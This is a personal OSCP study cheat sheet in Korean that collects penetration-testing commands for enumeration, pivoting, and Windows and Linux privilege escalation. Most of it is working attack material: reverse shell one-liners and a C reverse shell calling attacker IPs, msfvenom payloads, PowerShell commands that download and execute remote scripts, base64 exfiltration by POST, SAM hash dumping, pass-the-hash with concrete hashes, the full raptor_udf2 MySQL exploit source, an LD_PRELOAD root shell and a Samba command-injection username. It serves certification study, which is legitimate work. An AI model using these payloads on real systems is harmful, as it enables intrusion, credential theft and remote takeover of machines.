-
Summary SheetCertification/OSCP 2021. 11. 11. 07:51
OSCP 공부 과정 중 자주 쓰일 것 같은 내용을 기록했다. 공개용보다는 기록해둔 내용을 스스로 다시 확인하며 공부하려는 목적으로 작성했어서 가독성이 좋지 않을 수 있다.
* find poc
searchsploit ~~ -> /usr/share/exploitdb/exploits/~~
* port scan
nmap -sC -sS -p- sandbox.local -sC : run default nmap script -sV : detect service version -O : detect OS -oA nmap/initial : output all formats and store in file nmap/initial -sS : TCP SYN(Stealth) -p- : all ports nmap -p-15000 -vv 10.200.101.200 -oG initial-scan # short
* ping sweep
#!/bin/bash host=10.5.5.11 for port in {1..65535}; do timeout .1 bash -c "echo >/dev/tcp/$host/$port" && echo "port $port is open" done echo "Done" for i in {1..255}; do (ping -c 1 192.168.1.${i} | grep "bytes from" &); done for i in {1..255}; do (ping -c 1 192.168.1.${i}); done
* Gathering information
* Web dirb http://sandbox.local wpscan –url sandbox.local (if the website is wordpress) gobuster vhost -u http://holo.live -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt * Server /var/www/html cat ~/.bash_history cat ./.bash_history id whoami hostname cat /etc/issue uname -a cat /proc/version env netstat -tulpn cat /etc/fstab grep -r 'root' / 2>/dev/null find /home -type f printf “%f\t%p\t%u\t%g\t%m\n” 2>/dev/null | column -t
* Crack password
john --wordlist=/usr/share/wordlists/rockyou.txt pass.txt cat /root/.john/john.pot
* Create Remote Port forwarding
* target cd /tmp/keys ssh-keygen cat id_rsa.pub /root/.ssh/id_rsa * kali vi ~/.ssh/authorized_keys from="10.11.1.250",command="echo 'This account can only be used for port forwarding'",no-agent-forwarding,no-X11-forwarding,no-pty ssh-rsa ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxO27JE5uXiHqoUUb4j9o/IPHxsPg+fflPKW4N6pK0ZXSmMfLhjaHyhUr4auF+hSnF2g1hN4N2Z4DjkfZ9f95O7Ox3m0oaUgEwHtZcwTNNLJiHs2fSs7ObLR+gZ23kaJ+TYM8ZIo/ENC68Py+NhtW1c2So95ARwCa/Hkb7kZ1xNo6f6rvCqXAyk/WZcBXxYkGqOLut3c5B+++6h3spOPlDkoPs8T5/wJNcn8i12Lex/d02iOWCLGEav2V1R9xk87xVdI6h5BPySl35+ZXOrHzazbddS7MwGFz16coo+wbHbTR6P5fF9Z1Zm9O/US2LoqHxs7OxNq61BLtr4I/MDnin www-data@ajla * target ssh -f -N -R 1122:10.5.5.11:22 -R 13306:10.5.5.11:3306 -o"UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" -i /tmp/keys/id_rsa kali@10.11.0.4 * kali sudo netstat -tulpn
* kali <--> target 통신 확인하기 (ex. 특정 port로만 통신 가능 등)
* reverse shell
#linux rm /tmp/g;mkfifo /tmp/g;cat /tmp/g|/bin/sh -i 2>&1|nc 10.10.14.12 1234 >/tmp/g
GitHub - swisskyrepo/PayloadsAllTheThings: A list of useful payloads and bypass for Web Application Security and Pentest/CTF
A list of useful payloads and bypass for Web Application Security and Pentest/CTF - GitHub - swisskyrepo/PayloadsAllTheThings: A list of useful payloads and bypass for Web Application Security and ...
github.com
https://infinitelogins.com/2020/01/25/msfvenom-reverse-shell-payload-cheatsheet/
MSFVenom Reverse Shell Payload Cheatsheet (with & without Meterpreter)
Encrypt and Anonymize Your Internet Connection for as Little as $3/mo with PIA VPN. Learn More There are tons of cheatsheets out there, but I couldn’t find a comprehensive one that includes n…
infinitelogins.com
php file : <?php exec("/bin/bash -c '/bin/bash -i >& /dev/tcp/192.168.119.139/80 0>&1'"); ?>
C file : #include <stdio.h> #include <sys/socket.h> #include <sys/types.h> #include <stdlib.h> #include <unistd.h> #include <netinet/in.h> #include <arpa/inet.h> int main(void){ int port = 1234; struct sockaddr_in revsockaddr; int sockt = socket(AF_INET, SOCK_STREAM, 0); revsockaddr.sin_family = AF_INET; revsockaddr.sin_port = htons(port); revsockaddr.sin_addr.s_addr = inet_addr("192.168.119.139"); connect(sockt, (struct sockaddr *) &revsockaddr, sizeof(revsockaddr)); dup2(sockt, 0); dup2(sockt, 1); dup2(sockt, 2); char * const argv[] = {"/bin/sh", NULL}; execve("/bin/sh", argv, NULL); return 0; }
* smb
smbclient -L 10.127.170.84 smbmap -H 10.127.170.84 smbclient //10.127.170.84/tmp logon "/=`nohup nc -nv 10.10.14.4 1234 -e /bin/sh`" (Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution) recurse ms17-010 #이터널블루 Enumerate Hostname - nmblookup -A [ip] List Shares smbmap -H [ip/hostname] echo exit | smbclient -L \\\\[ip] nmap --script smb-enum-shares -p 139,445 [ip] Check Null Sessions smbmap -H [ip/hostname] rpcclient -U "" -N [ip] smbclient \\\\[ip]\\[share name] Check for Vulnerabilities - nmap --script smb-vuln* -p 139,445 [ip] Overall Scan - enum4linux -a [ip] Manual Inspection smbver.sh [IP] (port) [Samba] check pcap https://0xdf.gitlab.io/2018/12/02/pwk-notes-smb-enumeration-checklist-update1.html smbpasswd -r 10.10.10.193 bhult
* rpcclient
querydispinfo enumdomusers (?) query hex(?_)
* ldapsearch
ldapsearch -x -b "dc=cascade,dc=local" 'objectClass=person' -h 10.129.114.244 ldapsearch -h 10.129.114.244 -p 389 -x -b "dc=cascade,dc=local" ldapsearch -H ldap://10.129.114.244 -x -b DC=cascade,DC=local "(objectClass=person)" | grep "sAMAccountName:" ldapsearch -x -b "dc=cascade,dc=local" "*" -h 10.129.114.244 | awk '/dn: / {print $2}' ldapsearch -x -D "cn=admin,dc=cascade,dc=local" -s sub "cn=*" -h 10.129.114.244 | awk '/uid: /{print $2}' | nl
* python shell
python -c "import pty;pty.spawn('/bin/bash')"
* windows cmd tips
dir /s \*.txt cd DOCUME~1 # like wget certutil -f -split -urlcache http://10.10.14.114:6338/MS11-046.exe c:\temp\MS11-046.exe ## file transfer in powershell iex(new-object net.webclient).downloadstring('http://10.10.14.12/enumGroupsMembers.ps1') iex(new-object net.webclient).downloadstring('http://10.10.14.12/Get-SPN.ps1') $WebClient = New-Object System.Net.WebClient $WebClient.DownloadFile("http://10.10.14.12/mcrypt.dll","C:\temp\mcrypt.dll") # upload $b64 = [System.convert]::ToBase64String((Get-Content -Path '20220511014354_BloodHound.zip' -Encoding Byte)) Invoke-WebRequest -Uri http://10.10.14.12:1234/ -Method POST -Body $b64 echo <base64> | base64 -d -w 0 > bloodhound.zip
* linux shell tips
sudo -l sudo -i -u scriptmanager
* Windows privilege escalation
#JuicyPotato wget https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe echo C:\temp\nc.exe -e cmd.exe 192.168.119.180 1340 > rev.bat JuicyPotato.exe -p C:\temp\rev.bat -l 1340 -t * How to identify ? Operating System Windows 10, version 1803 and below Windows Server 2016 and below Privileges SeImpersonatePrivilege SeAssignPrimaryPrivilege SeTcbPrivilege SeBackupPrivilege SeRestorePrivilege SeCreateTokenPrivilege SeLoadDriverPrivilege SeTakeOwnershipPrivilege SeDebugPrivilege syteminfo whoami /priv # reverse shell and share it kali~# msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.11.72.34 LPORT=4321 -f exe -o reverse.exe kali~# sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py kali . C:> copy \\10.11.72.34\kali\reverse.exe C:\PrivEsc\reverse.exe # Service Exploits - Insecure Service Permissions accesschk.exe를 사용하여 "daclsvc" 서비스에 대한 "사용자" 계정의 권한을 확인합니다. C:\PrivEsc\accesschk.exe /accepteula -uwcqv user daclsvc "사용자" 계정에는 서비스 구성(SERVICE_CHANGE_CONFIG)을 변경할 수 있는 권한이 있습니다. 서비스를 쿼리하고 SYSTEM 권한(SERVICE_START_NAME)으로 실행되는지 확인합니다. sc qc daclsvc 서비스 구성을 수정하고 BINARY_PATH_NAME(binpath)을 생성한 reverse.exe 실행 파일로 설정합니다. sc config daclsvc binpath= "\"C:\PrivEsc\reverse.exe\"" net start daclsvc # Service Exploits - Unquoted Service Path " unquotedsvc" 서비스를 쿼리하고 이 서비스 가 SYSTEM 권한(SERVICE_START_NAME)으로 실행되고 BINARY_PATH_NAME이 인용되지 않고 공백을 포함한다는 점에 유의하십시오 . sc qc unquotedsvc accesschk.exe를 사용하여 BUILTIN\Users 그룹은 C:\Program Files\Unquoted Path Service\ 디렉터리에 쓸 수 있습니다. C:\PrivEsc\accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service\" 생성 한 reverse.exe 실행 파일을 이 디렉터리에 복사 하고 이름을 Common.exe로 바꿉니다. copy C:\PrivEsc\reverse.exe "C:\Program Files\Unquoted Path Service\Common.exe" net start unquotedsvc # Service Exploits - Weak Registry Permissions " regsvc" 서비스를 쿼리하고 SYSTEM 권한(SERVICE_START_NAME)으로 실행된다는 점에 유의 하세요. sc qc regsvc accesschk.exe를 사용하여 regsvc 서비스의 레지스트리 항목은 "NT AUTHORITY\INTERACTIVE" 그룹(기본적으로 로그온한 모든 사용자)에서 쓸 수 있습니다 . C:\PrivEsc\accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\regsvc 생성한 reverse.exe 실행 파일을 가리키도록 ImagePath 레지스트리 키를 덮어씁니다. reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f Kali에서 리스너를 시작한 다음 서비스를 시작하여 SYSTEM 권한으로 실행되는 리버스 셸을 생성합니다. net start regsvc # Service Exploits - Insecure Service Executables " filepermsvc" 서비스를 쿼리하고 SYSTEM 권한(SERVICE_START_NAME)으로 실행된다는 점에 유의하십시오 . sc qc filepermsvc accesschk.exe를 사용하여 서비스 바이너리(BINARY_PATH_NAME) 파일은 모든 사람이 쓸 수 있습니다 . C:\PrivEsc\accesschk.exe /accepteula -quvw "C:\Program Files\File Permissions Service\filepermservice.exe" 생성한 reverse.exe 실행 파일을 복사하고 filepermservice.exe를 다음으로 바꿉니다. copy C:\PrivEsc\reverse.exe "C:\Program Files\File Permissions Service\filepermservice.exe" /Y Kali에서 리스너를 시작한 다음 서비스를 시작하여 SYSTEM 권한으로 실행되는 리버스 셸을 생성합니다. net start filepermsvc # Registry - AutoRuns AutoRun 실행 파일에 대한 레지스트리 쿼리: reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run accesschk.exe를 사용하여 AutoRun 실행 파일 중 하나는 모든 사람이 쓸 수 있습니다. C:\PrivEsc\accesschk.exe /accepteula -wvu "C:\Program Files\Autorun Program\program.exe" 생성한 reverse.exe 실행 파일을 복사하고 AutoRun 실행 파일 을 덮어씁니다. copy C:\PrivEsc\reverse.exe "C:\Program Files\Autorun Program\program.exe" /Y Kali에서 수신기를 시작한 다음 Windows VM 을 다시 시작합니다 . 관리자 권한으로 실행되는 리버스 셸을 트리거하려면 새 RDP 세션을 엽니다. 이를 트리거하기 위해 인증할 필요는 없지만 페이로드가 실행되지 않으면 관리자(admin/password123)로 로그인하여 트리거합니다. 실제 참여에서는 관리자가 스스로 로그인할 때까지 기다려야 합니다. rdesktop 10.10.9.191 # Registry - AlwaysInstallElevated AlwaysInstallElevated 키에 대한 레지스트리 쿼리: reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 두 키 모두 1(0x1)로 설정되어 있습니다. Kali에서 msfvenom을 사용하여 리버스 셸 Windows Installer(reverse.msi)를 생성합니다. 그에 따라 LHOST IP 주소를 업데이트합니다. msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.11.72.34 LPORT=4321 -f msi -o reverse.msi reverse.msi 파일을 Windows의 C:\PrivEsc 디렉터리로 전송합니다(이전의 SMB 서버 방법 사용). Kali에서 리스너를 시작한 다음 설치 프로그램을 실행하여 SYSTEM 권한으로 실행되는 리버스 셸을 트리거합니다. msiexec /quiet /qn /i C:\PrivEsc\reverse.msi # Passwords - Registry 레지스트리에서 "password"라는 단어가 포함된 키와 값을 검색할 수 있습니다. reg query HKLM /f password /t REG_SZ /s 시간을 절약하려면 이 특정 키를 쿼리하여 관리자 자동 로그온 자격 증명을 찾으십시오. reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon" Kali에서 winexe 명령을 사용하여 관리자 권한으로 실행되는 명령 프롬프트를 생성합니다(찾은 암호로 암호 업데이트). kali~# winexe -U 'admin%password' //10.10.9.191 cmd.exe # Passwords - Saved Creds 저장된 자격 증명 나열: cmdkey /list "admin" 사용자의 자격 증명이 저장됩니다. 그렇지 않은 경우 C:\PrivEsc\savecred.bat 스크립트를 실행하여 저장된 자격 증명을 새로 고칩니다. Kali에서 리스너를 시작하고 관리자의 저장된 자격 증명으로 runas를 사용하여 reverse.exe 실행 파일을 실행합니다. runas /savecred /user:admin C:\PrivEsc\reverse.exe # Passwords - SAM SAM 및 SYSTEM 파일을 사용하여 사용자 암호 해시를 추출할 수 있습니다. 이 VM 은 SAM 및 SYSTEM 파일의 백업을 C:\Windows\Repair\ 디렉터리 에 안전하지 않게 저장 했습니다. SAM 및 SYSTEM 파일을 Kali VM 으로 전송합니다 . kali~# sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py kali . copy C:\Windows\Repair\SAM \\10.11.72.34\kali\ copy C:\Windows\Repair\SYSTEM \\10.11.72.34\kali\ Kali에서 creddump7 저장소를 복제하고(Kali의 저장소는 오래되었고 Windows 10에 대해 해시를 올바르게 덤프하지 않습니다!) 이를 사용하여 SAM 및 SYSTEM 파일에서 해시를 덤프합니다. kali~# git clone https://github.com/Tib3rius/creddump7 kali~# pip3 install pycrypto kali~# python3 creddump7/pwdump.py SYSTEM SAM hashcat을 사용하여 관리자 NTLM 해시를 크랙합니다. hashcat -m 1000 --force <hash> /usr/share/wordlists/rockyou.txt 크랙된 비밀번호를 사용하여 winexe 또는 RDP를 사용하여 관리자로 로그인할 수 있습니다. winexe -U 'admin%password123' //10.10.9.191 cmd.exe # Passwords - Passing the Hash 해시를 사용하여 인증할 수 있는데 암호 해시를 크랙하는 이유는 무엇입니까? pth-winexe와 함께 전체 관리자 해시를 사용하여 암호를 해독할 필요 없이 관리자로 실행되는 셸을 생성합니다. 전체 해시에는 콜론으로 구분된 LM 및 NTLM 해시가 모두 포함됩니다. pth-winexe -U 'admin%hash' //10.10.9.191 cmd.exe pth-winexe -U admin%aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da //10.10.9.191 cmd * impacket-psexec Administrator@10.11.1.24 -hashes :ee0c207898a5bccc01f38115019ca2fb # Scheduled Tasks C:\DevTools\CleanUp.ps1 스크립트의 내용을 봅니다. type C:\DevTools\CleanUp.ps1 스크립트는 매분 SYSTEM으로 실행되는 것 같습니다. accesschk.exe를 사용하여 다음 파일에 쓸 수 있습니다. C:\PrivEsc\accesschk.exe /accepteula -quvw user C:\DevTools\CleanUp.ps1 Kali에서 수신기를 시작한 다음 생성한 reverse.exe 실행 파일을 실행 하는 행을 C:\DevTools\CleanUp.ps1 에 추가합니다. echo C:\PrivEsc\reverse.exe >> C:\DevTools\CleanUp.ps1 # Insecure GUI Apps "사용자" 계정으로 RDP 세션을 시작합니다. rdesktop -u user -p password321 10.10.9.191 바탕 화면에서 "AdminPaint" 바로 가기를 두 번 클릭합니다. 실행되면 명령 프롬프트를 열고 그림판은 관리자 권한으로 실행되고 있는지 확인합니다. tasklist /V | findstr mspaint.exe 그림판에서 "파일"을 클릭한 다음 "열기"를 클릭합니다. 파일 열기 대화 상자에서 탐색 입력을 클릭하고 다음을 붙여넣습니다. file://c:/windows/system32/cmd.exe Enter 키를 눌러 관리자 권한으로 실행되는 명령 프롬프트를 생성합니다. # Startup Apps accesschk.exe를 사용하여 BUILTIN\Users 그룹이 StartUp 디렉터리에 파일을 쓸 수 있습니다. C:\PrivEsc\accesschk.exe /accepteula -d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp" cscript를 사용하여 C:\PrivEsc\CreateShortcut.vbs 스크립트를 실행하여 StartUp 디렉터리에서 reverse.exe 실행 파일에 대한 새 바로 가기를 만들어야 합니다. cscript C:\PrivEsc\CreateShortcut.vbs Kali에서 수신기를 시작한 다음 RDP와 이전에 추출한 자격 증명을 사용하여 관리자 로그온을 시뮬레이션합니다. rdesktop -u admin 10.10.9.191 관리자로 실행되는 셸은 리스너에 다시 연결해야 합니다. * C:\Windows\system32>type C:\PrivEsc\CreateShortcut.vbs type C:\PrivEsc\CreateShortcut.vbs Set oWS = WScript.CreateObject("WScript.Shell") sLinkFile = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\reverse.lnk" Set oLink = oWS.CreateShortcut(sLinkFile) oLink.TargetPath = "C:\PrivEsc\reverse.exe" oLink.Save * # Token Impersionation - Rogue Potato Kali에서 socat 리디렉터를 설정하고 Windows에서 Kali 포트 135를 포트 9999로 전달합니다. sudo socat tcp-listen:135,reuseaddr,fork tcp:10.10.9.191:9999 Kali에서 리스너를 시작합니다. RDP에 admin 사용자로 로그인하고 관리자 권한 명령 프롬프트를 시작하고(오른쪽 클릭 -> 관리자 권한으로 실행) PSExec64.exe를 사용하여 " 지역 서비스" 계정: C:\PrivEsc\PSExec64.exe -i -u "nt authority\local service" C:\PrivEsc\reverse.exe Kali에서 다른 수신기를 시작합니다. 이제 트리거한 "로컬 서비스" 리버스 셸에서 RoguePotato 익스플로잇을 실행하여 SYSTEM 권한으로 실행되는 두 번째 리버스 셸을 트리거합니다(따라서 IP 주소를 Kali IP로 업데이트). C:\PrivEsc\RoguePotato.exe -r 10.11.72.34 -e "C:\PrivEsc\reverse.exe" -l 9999 ** Name one user privilege that allows this exploit to work. Answer SeImpersonatePrivilege Name the other user privilege that allows this exploit to work. Answer SeAssignPrimaryTokenPrivilege # Token Impersionation - PrintSpoofer Kali에서 리스너를 시작합니다. RDP에 admin 사용자로 로그인하고 관리자 권한 명령 프롬프트를 시작하고(오른쪽 클릭 -> 관리자 권한으로 실행) PSExec64.exe를 사용하여 " 지역 서비스" 계정: C:\PrivEsc\PSExec64.exe -i -u "nt authority\local service" C:\PrivEsc\reverse.exe Kali에서 다른 수신기를 시작합니다. 이제 트리거한 "로컬 서비스" 리버스 셸에서 PrintSpoofer 익스플로잇을 실행하여 SYSTEM 권한으로 실행되는 두 번째 리버스 셸을 트리거합니다(따라서 IP 주소를 Kali IP로 업데이트). C:\PrivEsc\PrintSpoofer.exe -c "C:\PrivEsc\reverse.exe" -i # Scripts winPEASany.exe Seatbelt.exe PowerUp.ps1 SharpUp.exe https://github.com/itm4n/PrivescCheck
https://github.com/AonCyberLabs/Windows-Exploit-Suggester
GitHub - AonCyberLabs/Windows-Exploit-Suggester: This tool compares a targets patch levels against the Microsoft vulnerability d
This tool compares a targets patch levels against the Microsoft vulnerability database in order to detect potential missing patches on the target. It also notifies the user if there are public expl...
github.com
https://github.com/bitsadmin/wesng
GitHub - bitsadmin/wesng: Windows Exploit Suggester - Next Generation
Windows Exploit Suggester - Next Generation. Contribute to bitsadmin/wesng development by creating an account on GitHub.
github.com
* linux privilege escalation
sudo -l cat .bash_history find / -perm -u=s -type f 2>/dev/null #cron check wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64 #service exploit gcc -g -c raptor_udf2.c -fPIC gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc mysql -u root use mysql; create table foo(line blob); insert into foo values(load_file('/home/user/tools/mysql-udf/raptor_udf2.so')); select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so'; create function do_system returns integer soname 'raptor_udf2.so'; select do_system('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash'); /tmp/rootbash -p # Weak File Permissions - Readable /etc/shadow cat /etc/shadow copy hash to hash.txt john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt # Weak File Permissions - Writeable /etc/shadow mkpasswd -m sha-512 newpasswordhere Edit the /etc/shadow file and replace the original root user's password hash with the one you just generated. # Weak File Permission - Writeable /etc/passwd openssl passwd newpasswordhere /etc/passwd 파일을 편집하고 생성된 암호 해시를 루트 사용자 행의 첫 번째와 두 번째 콜론(:) 사이에 배치합니다("x" 대체). 새 비밀번호를 사용하여 루트 사용자로 전환합니다. 또는 루트 사용자의 행을 복사하여 파일 맨 아래에 추가하여 "root"라는 단어의 첫 번째 인스턴스를 "newroot"로 변경하고 생성된 암호 해시 를 첫 번째 콜론과 두 번째 콜론 사이에 배치합니다("x" 대체). . 이제 새 비밀번호를 사용하여 newroot 사용자로 전환합니다. # Sudo - Shell Escape Sequences sudo -l https://gtfobins.github.io/ # Sudo - Environment Variables sudo -l gcc -fPIC -shared -nostartfiles -o /tmp/preload.so /home/user/tools/sudo/preload.c sudo LD_PRELOAD=/tmp/preload.so apache2 ldd /usr/sbin/apache2 gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c sudo LD_LIBRARY_PATH=/tmp apache2 # Cron Jobs - File Permission cat /etc/crontab locate overwrite.sh ls -l /usr/local/bin/overwrite.sh ex) #!/bin/bash bash -i >& /dev/tcp/10.10.10.10/4444 0>&1 nc -nvlp 4444 # Cron Jobs - PATH env cat /etc/crontab PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin vi /home/user/overwrite.sh ex) #!/bin/bash cp /bin/bash /tmp/rootbash chmod +xs /tmp/rootbash /tmp/rootbash -p # Cron Jobs - Wildcards cat /usr/local/bin/compress.sh -> #!/bin/sh cd /home/user tar czf /tmp/backup.tar.gz * Take a look at the GTFOBins page for tar. msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f elf -o shell.elf wget http://10.11.72.34/shell.elf chmod +x shell.elf touch /home/user/--checkpoint=1 touch /home/user/--checkpoint-action=exec=shell.elf # SUID / SGID Executables - Known Exploits find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null and check cve about the list of results # SUID / SGID Executables - Shared Object Injection find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null ex) /usr/local/bin/suid-so strace /usr/local/bin/suid-so 2>&1 | grep -iE "open|access|no such file" mkdir /home/user/.config # SUID / SGID Executables - Environment Variables string /usr/local/bin/suid-env -> service apache2 start # not /usr/sbin/service gcc -o service /home/user/tools/suid/service.c PATH=.:$PATH /usr/local/bin/suid-env # SUID / SGID Executables - Abusing Shell Features #1 Bash 버전 <4.2-048 에서는 파일 경로와 유사한 이름으로 셸 함수를 정의한 다음 해당 파일 경로에서 실제 실행 파일 대신 사용되도록 해당 함수를 내보낼 수 있습니다. Debian VM 에 설치된 Bash 버전 이 4.2-048 미만인지 확인합니다. /bin/bash --version 새 Bash 셸을 실행하는 " /usr/sbin/service " 라는 이름의 Bash 함수를 만들고 (권한이 유지되도록 -p 사용) 함수를 내보냅니다. function /usr/sbin/service { /bin/bash -p; } export -f /usr/sbin/service /usr/local/bin/suid-env2 # SUID / SGID Executables - Abusing Shell Features #2 참고: Bash 버전 4.4 이상에서는 작동하지 않습니다. 디버깅 모드에 있을 때 Bash는 환경 변수 PS4 를 사용하여 명령문 디버깅에 대한 추가 프롬프트를 표시합니다. bash 디버깅이 활성화되고 PS4 변수가 /bin/bash의 SUID 버전을 생성하는 임베디드 명령으로 설정된 /usr/local/bin/suid-env2 실행 파일을 실행합니다. env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash)' /usr/local/bin/suid-env2 /tmp/rootbash -p # Passwords & Keys - History Files cat ~/.*history | less # Passwords & Keys - Config Files check config files ex) *.opvn # Password & Keys - SSH Keys ls -la / ls -l /.ssh check root_key and copy it to kali chmod 600 root_key ssh -i root_key root@MACHINE_IP # NFS cat /etc/exports /tmp 공유에는 루트 스쿼싱이 비활성화되어 있습니다. -> /tmp *(rw,sync,insecure,no_root_squash,no_subtree_check) kali~# sudo su kali~# mkdir /tmp/nfs kali~# mount -o rw,vers=2 10.10.48.48:/tmp /tmp/nfs kali~# msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf kali~# chmod +xs /tmp/nfs/shell.elf /tmp/shell.elf # Kernel Exploits Linux Exploit Suggester 2 perl /home/user/tools/kernel-exploits/linux-exploit-suggester-2/linux-exploit-suggester-2.pl # scripts LinEnum.sh linpeas.sh
/* * $Id: raptor_udf2.c,v 1.1 2006/01/18 17:58:54 raptor Exp $ * * raptor_udf2.c - dynamic library for do_system() MySQL UDF * Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info> * * This is an helper dynamic library for local privilege escalation through * MySQL run with root privileges (very bad idea!), slightly modified to work * with newer versions of the open-source database. Tested on MySQL 4.1.14. * * See also: http://www.0xdeadbeef.info/exploits/raptor_udf.c * * Starting from MySQL 4.1.10a and MySQL 4.0.24, newer releases include fixes * for the security vulnerabilities in the handling of User Defined Functions * (UDFs) reported by Stefano Di Paola <stefano.dipaola@wisec.it>. For further * details, please refer to: * * http://dev.mysql.com/doc/refman/5.0/en/udf-security.html * http://www.wisec.it/vulns.php?page=4 * http://www.wisec.it/vulns.php?page=5 * http://www.wisec.it/vulns.php?page=6 * * "UDFs should have at least one symbol defined in addition to the xxx symbol * that corresponds to the main xxx() function. These auxiliary symbols * correspond to the xxx_init(), xxx_deinit(), xxx_reset(), xxx_clear(), and * xxx_add() functions". -- User Defined Functions Security Precautions * * Usage: * $ id * uid=500(raptor) gid=500(raptor) groups=500(raptor) * $ gcc -g -c raptor_udf2.c * $ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc * $ mysql -u root -p * Enter password: * [...] * mysql> use mysql; * mysql> create table foo(line blob); * mysql> insert into foo values(load_file('/home/raptor/raptor_udf2.so')); * mysql> select * from foo into dumpfile '/usr/lib/raptor_udf2.so'; * mysql> create function do_system returns integer soname 'raptor_udf2.so'; * mysql> select * from mysql.func; * +-----------+-----+----------------+----------+ * | name | ret | dl | type | * +-----------+-----+----------------+----------+ * | do_system | 2 | raptor_udf2.so | function | * +-----------+-----+----------------+----------+ * mysql> select do_system('id > /tmp/out; chown raptor.raptor /tmp/out'); * mysql> \! sh * sh-2.05b$ cat /tmp/out * uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm) * [...] * * E-DB Note: Keep an eye on https://github.com/mysqludf/lib_mysqludf_sys * */ #include <stdio.h> #include <stdlib.h> enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT}; typedef struct st_udf_args { unsigned int arg_count; // number of arguments enum Item_result *arg_type; // pointer to item_result char **args; // pointer to arguments unsigned long *lengths; // length of string args char *maybe_null; // 1 for maybe_null args } UDF_ARGS; typedef struct st_udf_init { char maybe_null; // 1 if func can return NULL unsigned int decimals; // for real functions unsigned long max_length; // for string functions char *ptr; // free ptr for func data char const_item; // 0 if result is constant } UDF_INIT; int do_system(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error) { if (args->arg_count != 1) return(0); system(args->args[0]); return(0); } char do_system_init(UDF_INIT *initid, UDF_ARGS *args, char *message) { return(0); }
// preload.c #include <stdio.h> #include <sys/types.h> #include <stdlib.h> void _init() { unsetenv("LD_PRELOAD"); setresuid(0,0,0); system("/bin/bash -p"); }
https://github.com/mzet-/linux-exploit-suggester
GitHub - mzet-/linux-exploit-suggester: Linux privilege escalation auditing tool
Linux privilege escalation auditing tool. Contribute to mzet-/linux-exploit-suggester development by creating an account on GitHub.
github.com
GTFOBins
pg Shell File read SUID Sudo
gtfobins.github.io
* File Transfer
smbserver.py share . (로컬에서 공유폴더 열기) #ftp command line python -m pyftpdlib -p 21 (kali) echo open 10.10.14.7(kali) 21> ftp.txt&echo USER anonymous >> ftp.txt&echo anonymous>> ftp.txt&echo bin>> ftp.txt&echo GET churrasco.exe >> ftp.txt&echo bye>> ftp.txt ftp -v -n -s:ftp.txt
* Web Exploit
dirb davtest -url http://~ cadaver http://~ gobuster dir -k -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u https://10.129.255.245 -x php,txt,conf -o bigList nikto -h 10.10.~
* ssh
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 root@10.129.1.140 # no matching key exchange method found. 에러 발생 시
* Zone Transfer
nslookup > server IP > IP # zone transfer command: host -l <domain-name> <dns_server-address> host -l friendzone.red 10.10.10.123 > zonetransfer.txt host -l friendzoneportal.red 10.10.10.123 >> zonetransfer.txt # add /etc/hosts the subdomains cat /etc/hosts 10.10.10.123 friendzone.red
* Cross Compile
gcc -m32 -mtune=i686 -Wl,--hash-style=both -o exploit 36108.c
* Pivoting
arp -a # windows C:\Windows\System32\drivers\etc\hosts # windows ipconfig /all # windows /etc/hosts #linux /etc/resolv.conf # linux nmcli dev show #linux proxychains /etc/proxychains.conf SSH Tunnelling / Port Forwarding -Forward Connections 로컬 ssh -L 8000:172.16.0.10:80 user@172.16.0.5 -fN ssh -D 1337 user@172.16.0.5 -fN 리버스 sshuttle -r root@admin.holo.live --ssh-cmd "ssh -i id_rsa" 10.200.95.0/24 -x 10.200.95.33 중간 매개체 중간매개체 중간 매개체 https://github.com/jpillora/chisel/releases #chisel 칼리, 중간에 모두 필요 scp -i /home/kali/.ssh/id_rsa chisel_1.7.6_linux_amd64 root@10.200.95.33:/tmp/chisel ./chisel server -p 8000 --reverse & ####kali socks5 127.0.0.1 1080 설정 # kali's /etc/proxychains4.conf ./chisel client 10.50.74.56:9050 R:socks & ####중간매개체(ip는 칼리) ./chisel client 10.50.74.56:8000 R:socks & proxychains curl 